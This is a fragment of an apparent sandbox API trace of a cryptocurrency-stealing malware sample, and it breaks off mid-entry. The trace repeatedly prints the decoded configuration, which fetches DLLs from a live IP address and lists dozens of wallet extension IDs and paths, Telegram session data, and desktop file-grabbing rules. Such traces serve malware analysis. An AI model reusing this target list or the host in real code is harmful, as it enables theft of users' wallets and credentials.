(lpFirst="msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0258.642] lstrlenW (lpString="libs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5122 [0258.642] lstrlenW (lpString="libs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5122 [0258.642] LocalAlloc (uFlags=0x40, uBytes=0x2804) returned 0x6b9720 [0258.642] lstrlenW (lpString="libs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension 